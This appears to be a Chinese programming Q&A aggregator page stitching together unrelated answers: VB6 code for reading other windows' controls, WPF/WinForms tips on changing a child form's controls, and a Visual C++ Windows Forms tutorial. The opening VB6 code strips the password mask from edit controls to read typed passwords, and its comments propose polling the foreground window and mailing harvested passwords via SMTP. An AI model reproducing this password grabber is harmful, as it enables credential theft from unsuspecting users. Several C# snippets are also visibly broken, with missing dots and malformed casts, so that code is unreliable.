Public ChildHwnd As StringDeclare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)'发送消息
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'主要用来遍历子窗体和子控件句柄
Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
'控件类型
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
'开始遍历
EnumChildWindows mehWnd, AddressOf EnumChildProc, ByVal 0&'遍历子窗体控件句柄,这个函数必须用在模块中Public Function EnumChildProc(ByVal hWnd As Long, ByVal lParam As Long) As LongChildHwnd = ChildHwnd & "," & hWnd
EnumChildProc = 1
End Function'由于上面这个函数每次调用都会得到下一个子窗体(控件)的句柄,并赋值给hWnd,实际使用中,我把所有子句柄存放在ChildHwnd字符串中,遍历完毕,再'Dim AllHwnd() As String'去除多余的无效字符
'ChildHwnd = Mid(ChildHwnd, 2)
'转换成数组
'AllHwnd = Split(ChildHwnd, ",")'获得所有子句柄后,需要获取其控件类型'查看窗体/控件类型
Public Function FGetClassName(hWnd As Long) As String
Dim ClassName As String
Dim Ret As Long
'为类名设置缓存区大小
ClassName = Space(256)
'得到GETCLASSNAME返回值
Ret = GetClassName(hWnd, ClassName, 256)
FGetClassName = Left(ClassName, Ret)
End Function'直接sendmessage 就可以得到控件中的内容了,对于某些可能有passwordchar属性的控件,需要先sendmessage查看其passwordchar属性,再 postmessage取消该属性,一定时间延迟后(一定要),再sendmessage读取内容,再sendmessage恢复passwordchar属性Public Function GetText(WindowHandle As Long) As String
Dim strBuffer As String, Char As String, lngTextLength As Long
strBuffer = Space(255)
'得到password掩码
Char = SendMessage(WindowHandle, &HD2, 0, 0)
'去除edit控件的passwordchar属性
PostMessage WindowHandle, &HCC, 0, 0
'如果是edit控件则等待消息发送成功
If InStr("Edit", FGetClassName(WindowHandle)) And Char <> "0" Then Sleep (10)
'得到edit控件的text
SendMessage WindowHandle, &HD, 255, ByVal strBuffer
'恢复edit控件的passwordchar属性
PostMessage WindowHandle, &HCC, ByVal Char, 0
GetText = Trim(strBuffer)
End Function'最后,利用timer控件,不断获取当前窗体GetForegroundWindow的所有子控件的内容就可以了'可以向密码结巴那样,整理出密码后smtp到自己邮箱(参见使用winsock和smtp一文)'测试了下,我自己机器上,只有qq2007 beta3的密码是读不出来的,用户名是假的'这种较高级的消息只对普通edit控件产生作用,自己写个类就比较安全了'今天在安全焦点看了篇文章,可以直接从内存中读取控件内容,vb要实现可能很有点难
少年,WPF不是你这么用的,你这明显是WinForm的思路和方法!
你究竟需要的是什么效果,传一个类的值到子窗体?在获取子窗的实例后改变其中的控件?
需交流请追问或是Hi,无QQ!
使用事件传值为了方便 修改的是窗体二中的TextBox的Text属性
窗体一Form1
public event EventHandler Myevt;public FrmEventArgs fea = new FrmEventArgs();
private void Form2Show()
{
Form2 frm2=new Form2();
thisMyevt += frm2SetText;
frm2show();
}
private void 修改属性()
{
TextBox tb=new TextBox();
tbText="哈哈";
feaObj=tb;
if(thisMyevt)
{
thisMyevt(this,fea);//修改窗体2控件属性
}
}
窗体二Form2
public void SetText(object sender,EventArgs e){
FrmEventArgs fea = e as FrmEventArgs();
TextBox tb= feaObj as TextBox ;
thistextboxText=tbText;
}
添加一个类
public class FrmEventArgs:EventArgs{
public object Obj { get; set; }
}
一点一点敲的 会有错误 你看看吧
用Form1Controls去轮询里面的控件,
或者Form1ControlsFind(“textbox1”)去找这个控件。
然后ctype一下转换成Textbox就可以用他的所有属性和方法了。
使用 Visual C++ 开发 Windows 窗体项目,通常与使用任何其他 NET 语言(如 Visual BasicNET 或 C#)进行开发并无不同。使用Visual C++ 编写的 Windows 窗体应用程序通过新的 Visual C++ 语法使用 NET Framework 类和其他 NET 功能。有关更多信息,请参见 New C++ Language Features。在本过程中,您将使用“工具箱”中的几种标准控件创建 Windows 窗体应用程序。用户可以在完成后的应用程序中选择一个日期,此时将出现一个文本标签,显示所选的日期。创建新的 Windows 窗体项目在“文件”菜单上,单击“新建”,然后单击“项目”。在“项目类型”窗格中,选择“Visual C++”节点中的“CLR”,然后在“模板”窗格中选择“Windows 窗体应用程序”。键入项目的名称,如“winformsapp”。您可以接受默认位置、键入一个位置或者浏览到要保存项目的目录。Windows 窗体设计器即打开,显示所创建项目的“Form1”。向窗体添加控件如果“工具箱”窗口不可见,请单击“视图”菜单上的“工具箱”。将“工具箱”中的三个控件放到“Form1”设计图面上:将一个 Label 控件拖动到靠近“Form1”左上角的位置。将一个 DateTimePicker 控件拖动到 Label 控件正下方。将一个 Button 控件拖动到窗体底部靠近中心点的位置。窗体看上去应类似于:设置窗体和控件的属性单击窗体图面上的空白区域以选择窗体。如果“属性”窗口不可见,请单击“视图”菜单上的“属性”(或者按 F4)。您可能需要关闭“工具箱”以获得更多空间。设置窗体的“Text”属性(显示在窗体标题栏中),方法是在“属性窗口”中“Text”属性的右侧单击,并键入:日期选择器单击以选择标签,将其“Text”属性设置为:选择日期:单击以选择按钮,将其“Text”属性设置为:“确定”窗体看上去应类似于:编写事件处理程序代码在本节中,您将编写在发生以下事件时运行的代码:Button 控件上的 Click 事件DateTimePicker 控件上的 ValueChanged 事件编写代码以处理事件双击按钮以添加按钮 Click 事件处理程序(按钮的默认事件为 Click 事件)。在选项卡式页面的编辑区域中显示的窗体的“代码”视图中,自动创建了一个空事件处理程序方法。在button1_Click 方法的左大括号之后按 Enter,并键入在发生该事件时运行的代码:Application::Exit();在键入范围解析运算符 (::) 之后,IntelliSense�6�4 将显示可能的有效选项的列表。您可以从该列表中选择一个选项并按 Tab,双击它,或者继续键入。返回“设计”视图,方法是单击编辑区域中的“Form1h [设计]”选项卡,或者单击“视图”菜单上的“设计器”。单击以选择 DateTimePicker 控件。若要向 DateTimePicker 控件添加 ValueChanged 事件处理程序,请单击“属性”窗口中的闪电形图标,显示该控件的事件。双击“ValueChanged”事件,在“代码”视图中生成一个空事件处理程序。注意ValueChanged 是DateTimePicker 控件的默认事件,因此,您也可以通过双击 DateTimePicker 控件来生成空事件处理程序。在dateTimePicker1_ValueChanged 方法的左大括号之后按 Enter,并键入在发生该事件时运行的代码:label1->Text=String::Format("New date: {0}", dateTimePicker1->Text);当应用程序的用户选择了新的日期时,标签的 Text 属性将设置为后跟 DateTimePicker 的Text 属性的字符串 New date:。Visual Studio 提供了几个可以简化代码键入的功能:当键入箭头运算符 (->) 时,IntelliSense 将显示可从中选择的有效选项列表。当键入方法的左括号时,将出现一个工具提示窗口,其中显示该方法的各个重载的有效参数。要查看不同的重载,请使用向上键或向下键。自动完成可以根据您已键入的部分完成变量名或成员的键入。例如,如果键入了 String::Fo 并按Ctrl-空格键或 Tab,Visual Studio 将自动完成键入 String::Format。生成并运行程序在“生成”菜单上,单击“生成解决方案”。如果存在错误,请单击“输出”窗口中的“转到下一条消息”按钮。错误信息文本显示在状态栏中。您可以双击任何错误,直接转到源代码中包含该错误的行。在“调试”菜单上,单击“不进行调试直接运行”。即显示您生成的应用程序。测试该应用程序,方法是单击 DateTimePicker 上的向下箭头,选择一个日期。标签文本即更改为显示所选的日期。您可以向此应用程序添加更多功能,如菜单、其他表单和帮助文件。实验。
以上就是关于c#,获取控件的句柄,高手入!全部的内容,包括:c#,获取控件的句柄,高手入!、关于WPF父窗口修改子窗口中控件属性,望高手帮忙解答。。。急!、c#如何一窗体上更改另一窗体上的控件属性等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)